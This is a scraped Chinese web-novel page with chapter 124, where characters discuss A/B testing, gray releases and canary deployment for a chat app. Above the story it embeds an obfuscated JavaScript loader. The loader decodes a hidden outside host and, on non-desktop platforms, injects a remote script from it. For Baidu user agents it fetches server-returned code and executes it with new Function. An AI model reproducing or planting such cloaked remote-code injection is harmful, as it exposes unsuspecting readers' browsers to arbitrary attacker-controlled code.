妙书阁小说

阅读记录  |   用户书架
上一页
目录 | 设置
下一章
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};

124.灰色世界(2 / 2)

加入书签 | 推荐本书 | 问题反馈 |

投石问路,不外乎如是。

路舟笑着说道,“千度出来的大工程师就别埋汰我这庙小了,为了请程大工程师来,我可是砸锅卖铁啊。”

“砸锅卖铁?你逗我呢这是。算算千度给多少年薪,你给多少年薪。要不是当年同床,我还不乐意来。”

路舟也没接下这玩笑话,“陈年老吊,别提这种酸事。一言蔽之,一切草创,百废待兴。你千度里头用的那些花里胡哨的东西,我这一样没有。全得老老实实一步步重头写起。”

程旭元也不意外,“好吧。之前我是一个劲地推进开发的进度,毕竟也没到上线,当真是没太注意这回事。这些我还以为是温哥在帮你弄着。这没有就算了,重头写吧,多麻烦还真没有,费工夫而已。”

路舟接着问道,“嗯,麻烦倒是不至于,只是时间有些紧张,人手不太够。这一两周吧,我生撸一个轮子出来。话说,千度a/b测试应该用得非常多吧?”

“嗯。功能开关,a/b,灰度等等日常都在使用。个别老项目迁移可能会用影子测试。很流程化的东西,具体看不同项目群,一般会单独做专门的管理平台。”

路舟摸着下巴,片刻后,“给你点想象空间。其他就不提了。a/b测试做成云服务怎么样?倒不是我想钱想疯了,单纯是这东西做了,内部也没有必要反复造轮子。”

“嗯?”程旭元惊咋了一下。

路舟冒出这个想法也非偶然。

所谓a/b测试也好,灰度发布也好,秉承的都是一个原则市场和用户才是正确的。

路舟脑子里有先知,脑子里有一些关于微信的原型,但是绝对正确吗?路舟愿意去相信自己的记忆没有错误,却又同样不愿意去赌它的正确性。

他的想法可以定下方向,却无法代表其他用户的真实需求。

而具体到路舟究竟要如何制定微讯的发布策略和编写软件平台,事情依旧是一个“投石问路”。

目前,微讯已经初步实现了第一阶段移动通讯阶段。这个阶段的版本承载了微讯最基础的功能,如通讯录、收发消息和图片,语音和视频功能,lbs等等。

而仅仅这个阶段,程旭元就已经陆陆续续做出了数个版本的产品纵深。

灰度发布下,微讯完全可以通过发布平台的控制,向特定的用户发布应用,以供用户使用。在获得了这批用户返回用户的反馈后,路舟就可以再结合运营统计数据等,继而确定某个版本的功能是否适合大规模发布。

在这种情况下,路舟可以选择自己已经贯通的渠道作为耕地。根据用户画像,向不同群体的香蕉用户推送微讯,作为灰度发布的初始用户。

同样,灰色测试也是异曲同工。后续的小版本,先向小范围测试,获得正确反馈后再进行全面发布。

就像程旭元提到的千度内部一样,这是个流程化的东西,大型互联网公司会制定成管理平台,作为除了数据统计之外的补充反馈。

它首先流程化了产品提升、迭代的过程,接着利用技术化的手段来实现所谓的方法论。

所有的事情,不是非黑即白,而恰恰只是灰色的。每一个放出来的新东西,从发布到测试阶段,一开始就仅仅都是一只金丝雀,一颗问路的石头。

没有绝对正确的产品,只有绝对正确的数据和用户。

', '')

上一页
目录
下一章
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间